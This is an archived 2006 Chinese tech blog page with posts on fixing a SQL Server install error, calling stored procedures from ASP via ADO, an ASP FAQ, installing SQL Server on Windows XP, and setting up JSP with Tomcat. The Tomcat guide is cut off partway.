安装SQL Server 遇到错误提示“有挂起操作”

0

分类 : 娱乐休闲 | 发表时间 02-03-2006

安装SQL Server 遇到错误提示:以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装程序之前必须重新启动计算机!

有时候重新启动计算机,还是提示这个,则这样解决:

打开注册表编辑器regedit,在KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目。

学以致用 驳“ASP低能论”

0

分类 : 技术文摘 | 发表时间 11-02-2006

很多人错误地认为ASP是简单、低效的代名词,认为ASP是低能的,不足挂齿的,也很简单,一学就会,一琢磨就精通。

  有人讲ASP不安全,写ASP的程序的时候如果严格按照书写安全的代码的规范去写,写出来的程序也没有什么理由不安全。那些人说ASP不安全,好像PHP、JSP的程序就不会出现SQL Injection似的。

  有人讲ASP不高效,真的想要高效的话你可以结合COM,在Win32平台下COM的效率Java是永远追不上的。单纯讲速度有什么意义呢?Java的速度绝对算不上高,论速度的话好多技术方案的速度都比Java高,这一点学Java的人最清楚了,可是谁在乎过这一点了?Java的胜出绝对不是因为它的速度。抛开具体的应用环境单纯地讲速度是不理性的。

  有人讲ASP这个不能做,那个做不了,功能很局限。其实只要你明白Web的原理的话你就会明白,写ASP程序表面看是在玩一种脚本语言,但你指挥的是Web Server,有很多复杂的功能ASP也照样能完成的很好,有些功能ASP假如因为Web应用的先天局限做不了,你不要以为JSP、PHP就能做到。

  再提到功能。要说功能的话ASP+SQL Server肯定比PHP+MySQL强百倍,MySQL不支持事务处理,就这一条让PHP开发者吃了多少亏,没有视图,没有存储过程和触发器,没有数据库端的用户自定义函数,不能完全使用标准的SQL语法,这都是MySQL的缺点。可是PHP程序员在乎这一点了吗?没有!因为他们最在乎的是MySQL很快。(注意,是MySQL很快,不是PHP很快。同样,是MySQL不支持事务处理,而不是PHP的过错。)在面对PHP+MySQL的时候,人们就如此的理性。面对ASP的时候很多人就缺乏这种理性的认识。

  还有人提到MVC,是的我知道JSP可以把MVC发挥得很好。但是MVC这种编程思想不是Java或某种方案的专利,只要掌握了MVC的程序构架思想,你一样能写出这样的ASP程序、PHP程序。

  许多人单纯地做一些语言本身的比较,有什么意义呢?就好像你谈JSP的时候不谈JavaBeans,不谈EJB,那么你谈JSP有什么意义呢?同理谈ASP的时候你不谈COM,有什么意义呢?不要忘了ASP的核心就是COM。谈PHP的时候如果不谈它强大的平台——Unix/Linx,PHP照样什么也不是。

  不过有一点是可以肯定的,那就是:ASP的入门门槛最低。这按理说应该算ASP的优点,它秉承了微软技术一贯的作风——简单,入门门槛低。也正是因为这一点,使得大量的Web开发领域的新手能够很快地开发网站。但也正因为这一点,使许多掌握了ASP的一点皮毛知识的人自认为对ASP很懂,结果写出很垃圾的程序,让别人看了ASP的笑话。其实我接触过的一些JSP程序员也很垃圾,他们处理数据库操作的时候低级错误百出,但是因为他们是用Java开发的,所以给别人的感觉好像就高人一等。其实真的优秀的程序员如果明白了ASP的一些原理的话也能把ASP驾驭得很好。有些人玩不转ASP,你不能因此说这是ASP的问题。玩不转ASP的人大多是没有正确理解Web,而不是没有正确理解ASP中的语法。

  ASP的语法很简单,Java的语法也复杂不到哪里去,C++和C虽然复杂但是只要是一个智力正常的人也没有理由学不会。

  问题是语法本身很简单,但是Web很复杂。我们不是在这里浅尝辄止地玩弄一下某种脚本语言,我们是在做Web开发。

  Web开发虽然有不同的解决方案,但是基本的原理是相通的。如果你清楚Web端程序的一些运行原理,你就会明白你使用的开发技术的语法难度只不过是一种入门级的难度,真正的难度不在于你用什么技术方案去开发Web应用程序,真正的难度在于错综复杂的Web应用自身。

ASP开发中存储过程应用全接触

0

分类 : 技术文摘 | 发表时间 11-02-2006

ASP与存储过程(Stored Procedures)的文章不少,但是我怀疑作者们是否真正实践过。我在初学时查阅过大量相关资料,发现其中提供的很多方法实际操作起来并不是那么回事。对于简单的应用,这些资料也许是有帮助的,但仅限于此,因为它们根本就是千篇一律,互相抄袭,稍微复杂点的应用,就全都语焉不详了。

  现在,我基本上通过调用存储过程访问SQL Server,以下的文字都是实践的总结,希望对大家能有帮助。

  存储过程就是作为可执行对象存放在数据库中的一个或多个SQL命令。

  定义总是很抽象。存储过程其实就是能完成一定操作的一组SQL语句,只不过这组语句是放在数据库中的(这里我们只谈SQL Server)。如果我们通过创建存储过程以及在ASP中调用存储过程,就可以避免将SQL语句同ASP代码混杂在一起。这样做的好处至少有三个:

  第一、大大提高效率。存储过程本身的执行速度非常快,而且,调用存储过程可以大大减少同数据库的交互次数。

  第二、提高安全性。假如将SQL语句混合在ASP代码中,一旦代码失密,同时也就意味着库结构失密。

  第三、有利于SQL语句的重用。

  在ASP中,一般通过command对象调用存储过程,根据不同情况,本文也介绍其它调用方法。为了方便说明,根据存储过程的输入输出,作以下简单分类:

  1. 只返回单一记录集的存储过程

  假设有以下存储过程(本文的目的不在于讲述T-SQL语法,所以存储过程只给出代码,不作说明):

/*SP1*/
CREATE PROCEDURE dbo.getUserList
as
set nocount on
begin
select * from dbo.[userinfo]
end
go

  以上存储过程取得userinfo表中的所有记录,返回一个记录集。通过command对象调用该存储过程的ASP代码如下:

‘**通过Command对象调用存储过程**
DIM MyComm,MyRst
Set MyComm = Server.CreateObject(“ADODB.Command”)
MyComm.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
MyComm.CommandText = “getUserList” ‘指定存储过程名
MyComm.CommandType = 4 ‘表明这是一个存储过程
MyComm.Prepared = true ‘要求将SQL命令先行编译
Set MyRst = MyComm.Execute
Set MyComm = Nothing

  存储过程取得的记录集赋给MyRst,接下来,可以对MyRst进行操作。

  在以上代码中,CommandType属性表明请求的类型,取值及说明如下:

  -1 表明CommandText参数的类型无法确定
  1 表明CommandText是一般的命令类型
  2 表明CommandText参数是一个存在的表名称
  4 表明CommandText参数是一个存储过程的名称

  还可以通过Connection对象或Recordset对象调用存储过程,方法分别如下:

‘**通过Connection对象调用存储过程**
DIM MyConn,MyRst
Set MyConn = Server.CreateObject(“ADODB.Connection”)
MyConn.open MyConStr ‘MyConStr是数据库连接字串
Set MyRst = MyConn.Execute(“getUserList”,0,4) ‘最后一个参断含义同CommandType
Set MyConn = Nothing

‘**通过Recordset对象调用存储过程**
DIM MyRst
Set MyRst = Server.CreateObject(“ADODB.Recordset”)
MyRst.open “getUserList”,MyConStr,0,1,4
‘MyConStr是数据库连接字串,最后一个参断含义与CommandType相同

  2. 没有输入输出的存储过程

  请看以下存储过程:

/*SP2*/
CREATE PROCEDURE dbo.delUserAll
as
set nocount on
begin
delete from dbo.[userinfo]
end
go

  该存储过程删去userinfo表中的所有记录,没有任何输入及输出,调用方法与上面讲过的基本相同,只是不用取得记录集:

‘**通过Command对象调用存储过程**
DIM MyComm
Set MyComm = Server.CreateObject(“ADODB.Command”)
MyComm.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
MyComm.CommandText = “delUserAll” ‘指定存储过程名
MyComm.CommandType = 4 ‘表明这是一个存储过程
MyComm.Prepared = true ‘要求将SQL命令先行编译
MyComm.Execute ‘此处不必再取得记录集
Set MyComm = Nothing

  当然也可通过Connection对象或Recordset对象调用此类存储过程,不过建立Recordset对象是为了取得记录集,在没有返回记录集的情况下,还是利用Command对象吧。
  3. 有返回值的存储过程

  在进行类似SP2的操作时,应充分利用SQL Server强大的事务处理功能,以维护数据的一致性。并且,我们可能需要存储过程返回执行情况,为此,将SP2修改如下:

/*SP3*/
CREATE PROCEDURE dbo.delUserAll
as
set nocount on
begin
BEGIN TRANSACTION
delete from dbo.[userinfo]
IF @@error=0
begin
COMMIT TRANSACTION
return 1
end
ELSE
begin
ROLLBACK TRANSACTION
return 0
end
return
end
go

  以上存储过程,在delete顺利执行时,返回1,否则返回0,并进行回滚操作。为了在ASP中取得返回值,需要利用Parameters集合来声明参数:

‘**调用带有返回值的存储过程并取得返回值**
DIM MyComm,MyPara
Set MyComm = Server.CreateObject(“ADODB.Command”)
MyComm.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
MyComm.CommandText = “delUserAll” ‘指定存储过程名
MyComm.CommandType = 4 ‘表明这是一个存储过程
MyComm.Prepared = true ‘要求将SQL命令先行编译
‘声明返回值
Set Mypara = MyComm.CreateParameter(“RETURN”,2,4)
MyComm.Parameters.Append MyPara
MyComm.Execute
‘取得返回值
DIM retValue
retValue = MyComm(0) ‘或retValue = MyComm.Parameters(0)
Set MyComm = Nothing

  在MyComm.CreateParameter(“RETURN”,2,4)中,各参数的含义如下:

  第一个参数(“RETURE”)为参数名。参数名可以任意设定,但一般应与存储过程中声明的参数名相同。此处是返回值,我习惯上设为”RETURE”;

  第二个参数(2),表明该参数的数据类型,具体的类型代码请参阅ADO参考,以下给出常用的类型代码:

adBigInt: 20 ;
adBinary : 128 ;
adBoolean: 11 ;
adChar: 129 ;
adDBTimeStamp: 135 ;
adEmpty: 0 ;
adInteger: 3 ;
adSmallInt: 2 ;
adTinyInt: 16 ;
adVarChar: 200 ;

  对于返回值,只能取整形,且-1到-99为保留值;

  第三个参数(4),表明参数的性质,此处4表明这是一个返回值。此参数取值的说明如下:

  0 : 类型无法确定; 1: 输入参数;2: 输入参数;3:输入或输出参数;4: 返回值

  以上给出的ASP代码,应该说是完整的代码,也即最复杂的代码,其实

Set Mypara = MyComm.CreateParameter(“RETURN”,2,4)
MyComm.Parameters.Append MyPara

  可以简化为

MyComm.Parameters.Append MyComm.CreateParameter(“RETURN”,2,4)

  甚至还可以继续简化,稍后会做说明。

  对于带参数的存储过程,只能使用Command对象调用(也有资料说可通过Connection对象或Recordset对象调用,但我没有试成过)。

  4. 有输入参数和输出参数的存储过程

  返回值其实是一种特殊的输出参数。在大多数情况下,我们用到的是同时有输入及输出参数的存储过程,比如我们想取得用户信息表中,某ID用户的用户名,这时候,有一个输入参数—-用户ID,和一个输出参数—-用户名。实现这一功能的存储过程如下:

/*SP4*/
CREATE PROCEDURE dbo.getUserName
@UserID int,
@UserName varchar(40) output
as
set nocount on
begin r/>if @UserID is null return
select @UserName=username
from dbo.[userinfo]
where userid=@UserID
return
end
go

  调用该存储过程的ASP代码如下:

‘**调用带有输入输出参数的存储过程**
DIM MyComm,UserID,UserName
UserID = 1
Set MyComm = Server.CreateObject(“ADODB.Command”)
MyComm.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
MyComm.CommandText = “getUserName” ‘指定存储过程名
MyComm.CommandType = 4 ‘表明这是一个存储过程
MyComm.Prepared = true ‘要求将SQL命令先行编译
‘声明参数
MyComm.Parameters.append MyComm.CreateParameter(“@UserID”,3,1,4,UserID)
MyComm.Parameters.append MyComm.CreateParameter(“@UserName”,200,2,40)
MyComm.Execute
‘取得出参
UserName = MyComm(1)
Set MyComm = Nothing

  在以上代码中,可以看到,与声明返回值不同,声明输入参数时需要5个参数,声明输出参数时需要4个参数。声明输入参数时5个参数分别为:参数名、参数数据类型、参数类型、数据长度、参数值。声明输出参数时,没有最后一个参数:参数值。

  需要特别注意的是:在声明参数时,顺序一定要与存储过程中定义的顺序相同,而且各参数的数据类型、长度也要与存储过程中定义的相同。

  如果存储过程有多个参数,ASP代码会显得繁琐,可以使用with命令简化代码:

‘**调用带有输入输出参数的存储过程(简化代码)**
DIM MyComm,UserID,UserName
UserID = 1
Set MyComm = Server.CreateObject(“ADODB.Command”)
with MyComm
 .ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
 .CommandText = “getUserName” ‘指定存储过程名
 .CommandType = 4 ‘表明这是一个存储过程
 .Prepared = true ‘要求将SQL命令先行编译
 .Parameters.append .CreateParameter(“@UserID”,3,1,4,UserID)
 .Parameters.append .CreateParameter(“@UserName”,200,2,40)
 .Execute
end with
UserName = MyComm(1)
Set MyComm = Nothing

  假如我们要取得ID为1到10,10位用户的用户名,是不是要创建10次Command对象呢?不是的。如果需要多次调用同一存储过程,只需改变输入参数,就会得到不同的输出:

‘**多次调用同一存储过程**
DIM MyComm,UserID,UserName
UserName = “”
Set MyComm = Server.CreateObject(“ADODB.Command”)
for UserID = 1 to 10
 with MyComm
  .ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
  .CommandText = “getUserName” ‘指定存储过程名
  .CommandType = 4 ‘表明这是一个存储过程
  .Prepared = true ‘要求将SQL命令先行编译
  if UserID = 1 then
   .Parameters.append .CreateParameter(“@UserID”,3,1,4,UserID)
   .Parameters.append .CreateParameter(“@UserName”,200,2,40)
   .Execute
  else
   ’重新给入参赋值(此时参数值不发生变化的入参以及出参不必重新声明)
   .Parameters(“@UserID”) = UserID
   .Execute
  end if
 end with
 UserName = UserName + MyComm(1) + “,” ‘也许你喜欢用数组存储
next
Set MyComm = Nothing

  通过以上代码可以看出:重复调用同一存储过程时,只需为值发生改变的输入参数重新赋值即可,这一方法在有多个输入输出参数,且每次调用时只有一个输入参数的值发生变化时,可以大大减少代码量。
  5. 同时具有返回值、输入参数、输出参数的存储过程

  前面说过,在调用存储过程时,声明参数的顺序要与存储过程中定义的顺序相同。还有一点要特别注意:如果存储过程同时具有返回值以及输入、输出参数,返回值要最先声明。

  为了演示这种情况下的调用方法,我们改善一下上面的例子。还是取得ID为1的用户的用户名,但是有可能该用户不存在(该用户已删除,而userid是自增长的字段)。存储过程根据用户存在与否,返回不同的值。此时,存储过程和ASP代码如下:

/*SP5*/
CREATE PROCEDURE dbo.getUserName
–为了加深对”顺序”的印象,将以下两参数的定义顺序颠倒一下
@UserName varchar(40) output,
@UserID int
as
set nocount on
begin
if @UserID is null return
select @UserName=username
from dbo.[userinfo]
where userid=@UserID
if @@rowcount>0
return 1
else
return 0
return
end
go

‘**调用同时具有返回值、输入参数、输出参数的存储过程**
DIM MyComm,UserID,UserName
UserID = 1
Set MyComm = Server.CreateObject(“ADODB.Command”)
with MyComm
.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
.CommandText = “getUserName” ‘指定存储过程名
.CommandType = 4 ‘表明这是一个存储过程
.Prepared = true ‘要求将SQL命令先行编译
‘返回值要最先被声明
.Parameters.Append .CreateParameter(“RETURN”,2,4)
‘以下两参数的声明顺序也做相应颠倒
.Parameters.append .CreateParameter(“@UserName”,200,2,40)
.Parameters.append .CreateParameter(“@UserID”,3,1,4,UserID)
.Execute
end with
if MyComm(0) = 1 then
UserName = MyComm(1)
else
UserName = “该用户不存在”
end if
Set MyComm = Nothing

  6. 同时返回参数和记录集的存储过程

  有时候,我们需要存储过程同时返回参数和记录集,比如在利用存储过程分页时,要同时返回记录集以及数据总量等参数。以下给出一个进行分页处理的存储过程:

/*SP6*/
CREATE PROCEDURE dbo.getUserList
@iPageCount int OUTPUT, –总页数
@iPage int, –当前页号
@iPageSize int –每页记录数
as
set nocount on
begin
–创建临时表
create table #t (ID int IDENTITY, –自增字段
userid int,
username varchar(40))
–向临时表中写入数据
insert into #t
select userid,username from dbo.[UserInfo]
order by userid

–取得记录总数
declare @iRecordCount int
set @iRecordCount = @@rowcount

–确定总页数
IF @iRecordCount%@iPageSize=0
SET @iPageCount=CEILING(@iRecordCount/@iPageSize)
ELSE
SET @iPageCount=CEILING(@iRecordCount/@iPageSize)+1

–若请求的页号大于总页数,则显示最后一页
IF @iPage > @iPageCount
SELECT @iPage = @iPageCount

–确定当前页的始末记录
DECLARE @iStart int –start record
DECLARE @iEnd int –end record
SELECT @iStart = (@iPage – 1) * @iPageSize
SELECT @iEnd = @iStart + @iPageSize + 1

–取当前页记录
select * from #t where ID>@iStart and ID<@iEnd

–删除临时表
DROP TABLE #t

–返回记录总数
return @iRecordCount
end
go

  在上面的存储过程中,输入当前页号及每页记录数,返回当前页的记录集,总页数及记录总数。为了更具典型性,将记录总数以返回值的形式返回。以下是调用该存储过程的ASP代码(具体的分页操作略去):

‘**调用分页存储过程**
DIM pagenow,pagesize,pagecount,recordcount
DIM MyComm,MyRst
pagenow = Request(“pn”)
‘自定义函数用于验证自然数
if CheckNar(pagenow) = false then pagenow = 1
pagesize = 20
Set MyComm = Server.CreateObject(“ADODB.Command”)
with MyComm
.ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
.CommandText = “getUserList” ‘指定存储过程名
.CommandType = 4 ‘表明这是一个存储过程
.Prepared = true ‘要求将SQL命令先行编译
‘返回值(记录总量)
.Parameters.Append .CreateParameter(“RETURN”,2,4)
‘出参(总页数)
.Parameters.Append .CreateParameter(“@iPageCount”,3,2)
‘入参(当前页号)
.Parameters.append .CreatePara
meter(“@iPage”,3,1,4,pagenow)
‘入参(每页记录数)
.Parameters.append .CreateParameter(“@iPageSize”,3,1,4,pagesize)
Set MyRst = .Execute
end with
if MyRst.state = 0 then ‘未取到数据,MyRst关闭
recordcount = -1
else
MyRst.close ‘注意:若要取得参数值,需先关闭记录集对象
recordcount = MyComm(0)
pagecount = MyComm(1)
if cint(pagenow)>=cint(pagecount) then pagenow=pagecount
end if
Set MyComm = Nothing

‘以下显示记录
if recordcount = 0 then
Response.Write “无记录”
elseif recordcount > 0 then
MyRst.open
do until MyRst.EOF
……
loop
‘以下显示分页信息
……
else ‘recordcount=-1
Response.Write “参数错误”
end if

  对于以上代码,只有一点需要说明:同时返回记录集和参数时,若要取得参数,需先将记录集关闭,使用记录集时再将其打开。

  7. 返回多个记录集的存储过程

  本文最先介绍的是返回记录集的存储过程。有时候,需要一个存储过程返回多个记录集,在ASP中,如何同时取得这些记录集呢?为了说明这一问题,在userinfo表中增加两个字段:usertel及usermail,并设定只有登录用户可以查看这两项内容。

/*SP7*/
CREATE PROCEDURE dbo.getUserInfo
@userid int,
@checklogin bit
as
set nocount on
begin
if @userid is null or @checklogin is null return
select username
from dbo.[usrinfo]
where userid=@userid
–若为登录用户,取usertel及usermail
if @checklogin=1
select usertel,usermail
from dbo.[userinfo]
where userid=@userid
return
end
go

  以下是ASP代码:

‘**调用返回多个记录集的存储过程**
DIM checklg,UserID,UserName,UserTel,UserMail
DIM MyComm,MyRst
UserID = 1
‘checklogin()为自定义函数,判断访问者是否登录
checklg = checklogin()
Set MyComm = Server.CreateObject(“ADODB.Command”)
with MyComm
 .ActiveConnection = MyConStr ‘MyConStr是数据库连接字串
 .CommandText = “getUserInfo” ‘指定存储过程名
 .CommandType = 4 ‘表明这是一个存储过程
 .Prepared = true ‘要求将SQL命令先行编译
 .Parameters.append .CreateParameter(“@userid”,3,1,4,UserID)
 .Parameters.append .CreateParameter(“@checklogin”,11,1,1,checklg)
 Set MyRst = .Execute
end with
Set MyComm = Nothing

‘从第一个记录集中取值
UserName = MyRst(0)
‘从第二个记录集中取值
if not MyRst is Nothing then
 Set MyRst = MyRst.NextRecordset()
 UserTel = MyRst(0)
 UserMail = MyRst(1)
end if
Set MyRst = Nothing

  以上代码中,利用Recordset对象的NextRecordset方法,取得了存储过程返回的多个记录集。

  至此,针对ASP调用存储过程的各种情况,本文已做了较为全面的说明。最后说一下在一个ASP程序中,调用多个存储过程的不同方法。
在一个ASP程序中,调用多个存储过程至少有以下三种方法是可行的:

  1. 创建多个Command对象

DIM MyComm
Set MyComm = Server.CreateObject(“ADODB.Command”)
‘调用存储过程一
……
Set MyComm = Nothing
Set MyComm = Server.CreateObject(“ADODB.Command”)
‘调用存储过程二
……
Set MyComm = Nothing
……

  2. 只创建一个Command对象,结束一次调用时,清除其参数

DIM MyComm
Set MyComm = Server.CreateObject(“ADODB.Command”)
‘调用存储过程一
…..
‘清除参数(假设有三个参数)
MyComm.Parameters.delete 2
MyComm.Parameters.delete 1
MyComm.Parameters.delete 0
‘调用存储过程二并清除参数
……
Set MyComm = Nothing

  此时要注意:清除参数的顺序与参数声明的顺序相反,原因嘛,我也不知道。

  3. 利用Parameters数据集合的Refresh方法重置Parameter对象

DIM MyComm
Set MyComm = Server.CreateObject(“ADODB.Command”)
‘调用存储过程一
…..
‘重置Parameters数据集合中包含的所有Parameter对象
MyComm.Parameters.Refresh
‘调用存储过程二
…..
Set MyComm = Nothing

  一般认为,重复创建对象是效率较低的一种方法,但是经测试(测试工具为Microsoft Application Center Test),结果出人意料:

  方法2 >= 方法1 >> 方法3

  方法2的运行速度大于等于方法1(最多可高4%左右),这两种方法的运行速度远大于方法3(最多竟高达130%),所以建议在参数多时,采用方法1,在参数较少时,采用方法2。

  花了一天的时间,终于把我对于在ASP中调用存储过程的一些粗浅的经验形成了文字。这其中,有些是我只知其果而不明其因的,有些可能是错误的,但是,这些都是经过我亲身实践的。各位看官批判地接受吧。有不同意见,希望一定向我指明,先谢了。

ASP设计常见问题及解答精要

0

分类 : 技术文摘 | 发表时间 10-02-2006

作为微软推出的网页与数据库解决方案,ASP由于有微软得天独厚的操作系统等技术后盾支持,因此得到了迅速的发展,并且正受到越来越多的欢迎,在目前在电子商务网站的建设中有很多都使用ASP来编写程序。
  近来有很多的读者向我们咨询学习ASP的方法和在学习中遇到的一些问题,其中有一些是初学者经常遇到和面临的问题。为了让读者在学习ASP的过程中加深对ASP的了解,并能够有效地解决遇到的问题,我们特别收集了比较有代表性的一些问题,在此列举出来并一一给予解答,希望能在这有限的篇幅里为你学习ASP助一臂之力。

  1、问题:ASP是一种编程语言吗?

  答:ASP不是编程语言,而是一种开发环境。ASP提供了一个在服务器端执行指令的环境,它利用了特殊的符号()来区分HTML与必须经过服务器翻译才能送往客户端的命令。它可以执行的指令包括HTML语言,Microsoft VBScript和Microsoft Jscript等,因此可以制作出功能强大的Web应用程序。

  2、问题:在Web服务器上容纳多个Web站点,能使用PWS吗?

  答:在PWS上只能容纳一个Web站点。为了在相同的计算机上容纳多个Web站点,需要使用Windows NT Server或Windows 2000 Server/Professional和IIS。

  3、问题:如何使用6个内置ASP对象?

  答:ASP提供了多个内嵌对象,无须建立就可以在指令中直接访问和使用它们,这六个对象主要有:请求(Request)对象、响应(Response)对象、工作阶段(Session)对象、应用程序(Application)对象、服务器(Server)对象、Cookies对象,这六个对象中的服务器(Server)对象可加载其他组件,这可以扩展ASP的功能。

  使用Server.CreateObject所建立的对象,它的生命周期在它建立时开始,在它所在的网页程序结束时结束。如果想要让该对象跨网页使用,则可以用Session对象来记录Server.CreateObject所建立的对象。

  4、问题:为什么在使用Response.Redirect的时候出现以下错误:“标题错误,已将HTTP标题写入用户端浏览器,对任何HTTP的标题所作的修改必须在写入页内容之前”?

  答:Response.Redirect可以将网页转移至另外的网页上,使用的语法结构是这样的:Response.Redirect网址,其中网址可以是相对地址或绝对地址,但在IIS4.0使用与在IIS5.0使用有所不同。
  在IIS4.0转移网页须在任何数据都未输出至客户端浏览器之前进行,否则会发生错误。这里所谓的数据包括HTML的卷标,例如:< HTML>,< BODY>等,而在IIS5.0中已有所改进,在IIS5.0的默认情况下缓冲区是开启的,这样的错误不再产生。

  在Response对象中有一Buffer属性,该属性可以设置网站在处理ASP之后是否马上将数据传送到客户端,但设置该属性也必须在传送任何数据给客户端之前。

  为保险起见,无论采用何种ASP运行平台,在页面的开始写上< % Response.Buffer=True %>,将缓冲区设置为开启,这样的错误就不会发生了。

  5、问题:缓冲输出对于网页传输有没有影响?

  答:在比较大的Web页中,第一部分在浏览器中出现可能会有一些延迟,但是加载整个Web页的速度比不用缓冲要快。

  6、问题:在没有表单提交时查询字符串的值是否可以使用Request.QueryString集合?

  答:Request对象用于读取浏览器的数据,它除了可以读取表单字段的内容,还可以用来读取附带在网址后面的参数,无论请求字符串怎样添加到链接地址中对Request来说都没有什么不同。使用get方法提交一个表单,还是跟随一个附加查询串的链接查询字符串中所有的值,都可以使用Request.QueryString集合。

  7、问题:我在ASP脚本中写了很多的注释,这会不会影响服务器处理ASP文件的速度?

  答:在编写程序的过程中,作注释是良好的习惯。经国外技术人员测试,带有过多注释的ASP文件整体性能仅仅会下降0.1%,也就是说在实际应用中基本上不会感觉到服务器的性能下降的。

  8、问题:需不需要在每个ASP文件的开头使用< % @LANGUAGE=VBScript % >?

  答:在每个ASP文件的开头使用< % @LANGUAGE=VBScript %>代码是用来通知服务器现在使用VBScript来编写程序,但因为ASP的预设程序语言是VBScript,因此忽略这样代码也可以正常运行,但如果程序的脚本语言是JavaScrip,就需要在程序第一行指明所用的脚本语言。
9、问题:我有没有必要在每一个ASP文件中使用“Option Explicit”?

  答:在实际应用中,VBScript变量的概念已经模糊了,允许直接使用变量,而不用Dim声明变量,但这并不是一个好习惯,容易造成程序错误,因为可能重复定义一个变量。我们可以在程序中使用Option Explicit语句,这样在使用一个变量的时候,必须先声明它,如果使用了没有经过声明的变量,运行时,程序就会出错。

  实践证明,ASP文件中使用“Option Explicit”可以使得程序出错机会降到最少,并且会大大提升整体性能。

  10、问题:运行ASP文件时有什么安全措施?

  答:ASP提供了很好的代码保护机制,所有的ASP代码都在服务器端执行而只返回给客户端代码执行结果。但仍不排除恶意人士对Web服务器的刻意破坏,所以在编写ASP文件时更要注意安全问题。

  虽然在ASP中引入文件以inc作为扩展名,在这里仍建议以ASP作为引文件的扩展名。当这些代码在安全机制不好的Web Server上运行时,只需在地址栏上输入引入文件的地址(inc为扩展名),就可以浏览该引入文件的内容,这是由于在Web Server上,如果没有定义好解析某类型(比如inc)的动态连接库时,该文件以源码方式显示。

  另外,不要把数据库文件放在网站结构内部,这样,当恶意人士获取数据库路径后,就可以轻易获取该数据库,进而肆意更改数据库内容。比较好的做法是,为数据库建立数据源名称DSN(Date Source Name),在DSN中存储了有关连接到指定数据提供者的信息,包括:“数据库的物理位置,用于访问数据库的驱动程序的类型,访问数据库的驱动程序所需要的任何其他参数”,在进行数据库访问时可以直接访问该DSN。

  11、问题:评介Web数据库管理系统时,应该考虑哪些问题?

  答:在评价一个Web数据库管理系统时,必须考虑到三方面的问题:多用户问题;所建立的Web数据库应该是关系型的;数据库的安全性问题。
  12、问题:ADO是什么,它是如何操作数据库的?

  答:ADO的全名是ActiveX Data Object(ActiveX数据对象),是一组优化的访问数据库的专用对象集,它为ASP提供了完整的站点数据库解决方案,它作用在服务器端,提供含有数据库信息的主页内容,通过执行SQL命令,让用户在浏览器画面中输入,更新和删除站点数据库的信息。

  ADO主要包括Connection,Recordset和Command三个对象, 它们的主要功能如下:

  ·Connection对象:负责打开或连接数据库文件;
  ·Recordset对象:存取数据库的内容;
  ·Command对象:对数据库下达行动查询指令,以及执行SQL Server的存储过程。

  13、问题:使用Recordset对象和Command对象来访问数据库的区别在哪里?

  

在WinXP中装SQL SERVER企业版

0

分类 : 网络日志 | 发表时间 21-01-2006

一.在SQL服务器的安装盘中找到MSDE这个目录,并且点击setup.exe安装它,过程简单直接下一步就OK了。

  二. 重启系统WINDOWSXP,这下就可以看到SQL服务的图标出现了。

  三. 再拿出SQL服务器版的安装光盘,直接安装客户端工具(这个不要多说吧?最简单的方法就是直接点击光盘根目录下的autorun.exe)

  根据提示安装,自检过程中知道系统不是SERVER版,会提示只安装客户端工具。(哈哈,服务端我已有了)

  四. 打开企业管理器,试用SA用户连一下看看,是不是发现SA用户登陆失败?因为你还没有与信任SQL SERVER连接相关联。还好这个只要对系统注册表稍加修改就可以啦:

  在运行中输入regedit打开注册表编辑器,找到[HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER],这个项里面有一个键值LoginMode,默认下,值是1,现在将值改为2,重启电脑。

JSP连接SQL Server 2000系统配置

0

分类 : 技术文摘 | 发表时间 19-01-2006

第一步:—-安装J2SDK:

  到SUN官方站点(http://java.sun.com)下载J2SDK的安装文件:j2sdk-1_4_2_04-windows-i586-p.exe,下载之后安装好J2SDK;安装完之后,设置环境变量:我的电脑—属性—高级—环境变量;

  选择—系统变量(S):
 
  设置JAVA_HOME环境变量:

  单击—新建,在变量名中输入:JAVA_HOME

  在变量值中输入:D:\Java

  (假设J2SDK安装在目录D:\Java下,反正就是J2SDK的安装目录。)

  然后—确定,到此已经设置好JAVA_HOME环境变量。

  设置CLASSPATH环境变量:

  单击—新建,在变量名中输入:CLASSPATH

  在变量值中输入:D:\Java\bin;.;D:\Java\lib;D:\Java\lib\dt.jar;D:\Java\lib\tools.jar

  (中间的点号“.”和分号“;”必不可少。)

  然后—确定,到此已经设置好CLASSPATH环境变量。

  设置PATH环境变量:

  单击—新建,在变量名中输入:PATH

  在变量值中输入:D:\Java;.;D:\Java\bin

  (中间的点号“.”和分号“;”必不可少。)

  然后—确定,到此已经设置好JAVA_HOME环境变量。

  三个环境变量设置好后,写一个简单的java程序来测试J2SDK是否已安装成功:

  在D:\下新建一个目录test;然后写如下程序: 
  public class Test { 
  public static void main(String args[]) { 
    System.out.println(“This is a test program.”); 
   } 
  }

  将上面的这段程序保存为文件名为Test.java的文件,保存在目录D:\test下。

  然后打开命令提示符窗口,cd到你的test目录,然后键入下面的命令  

    javac Test.java 
    java Test 

  此时如果看到打印出来This is a test program.的话说明安装成功了,

  如果没有打印出这句话,你需要仔细检查一下你的配置情况。 

  如果上面的J2SDK安装成功的话,接下来继续安装Tomcat:

  第二步:—-安装Tomcat:

   到tomcat官方站点(http://www.apache.org/dist/jakarta/tomcat-4/)下载tomcat:

   jakarta-tomcat-4.1.30.exe,下载之后安装。(比如安装在D:\Tomcat下。)

   安装完之后,设置环境变量:我的电脑—属性—高级—环境变量;

   选择—系统变量(S):

   设置CATALINA_HOME环境变量:

   单击—新建,在变量名中输入:CATALINA_HOME

   在变量值中输入:D:\Tomcat

   然后—确定,到此已经设置好CATALINA_HOME环境变量。

   设置CATALINA_BASE环境变量:

   单击—新建,在变量名中输入:CATALINA_BASE

   在变量值中输入:D:\Tomcat

   然后—确定,到此已经设置好CATALINA_BASE环境变量。

   然后修改环境变量中的CLASSPATH,把Tomat安装目录下的common\lib下的servlet.jar追加到CLASSPATH中去,

   修改后的CLASSPATH如下: 

CLASSPATH=D:\Java\bin;.;D:\Java\lib;D:\Java\lib\dt.jar;D:\Java\lib\tools.jar;
